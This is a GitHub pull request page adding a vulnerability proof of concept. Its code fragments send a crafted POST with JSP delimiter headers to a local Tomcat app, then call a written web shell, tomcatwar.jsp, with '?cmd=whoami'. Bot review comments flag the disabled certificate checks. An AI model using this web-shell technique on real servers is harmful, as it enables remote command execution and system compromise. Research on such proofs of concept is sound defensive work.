Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add vulnerability PoC #4

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open

Add vulnerability PoC #4

wants to merge 1 commit into from

Conversation

DDuarte
Copy link
Owner

@DDuarte DDuarte commented Apr 18, 2023

No description provided.

Comment on lines +14 to +21
go = requests.post(
"http://localhost:8080/demo/index",
headers={"suffix": "%>//", "c2": "<%"},
data=payload,
timeout=15,
allow_redirects=False,
verify=False,
)
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.

Suggested change
go = requests.post(
"http://localhost:8080/demo/index",
headers={"suffix": "%>//", "c2": "<%"},
data=payload,
timeout=15,
allow_redirects=False,
verify=False,
)
go = requests.post(
"http://localhost:8080/demo/index",
headers={"suffix": "%>//", "c2": "<%"},
data=payload,
timeout=15,
allow_redirects=False,
verify=True,
)
Created by disabled-cert-validation.

Comment on lines +26 to +31
shellgo = requests.get(
"http://localhost:8080/tomcatwar.jsp",
timeout=15,
allow_redirects=False,
verify=False,
)
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.

Suggested change
shellgo = requests.get(
"http://localhost:8080/tomcatwar.jsp",
timeout=15,
allow_redirects=False,
verify=False,
)
shellgo = requests.get(
"http://localhost:8080/tomcatwar.jsp",
timeout=15,
allow_redirects=False,
verify=True,
)
Created by disabled-cert-validation.

Comment on lines +37 to +42
requests.get(
"http://localhost:8080/tomcatwar.jsp?cmd=whoami",
timeout=15,
allow_redirects=False,
verify=False,
).text[:20]
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.

Suggested change
requests.get(
"http://localhost:8080/tomcatwar.jsp?cmd=whoami",
timeout=15,
allow_redirects=False,
verify=False,
).text[:20]
requests.get(
"http://localhost:8080/tomcatwar.jsp?cmd=whoami",
timeout=15,
allow_redirects=False,
verify=True,
).text[:20]
Created by disabled-cert-validation.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

1 participant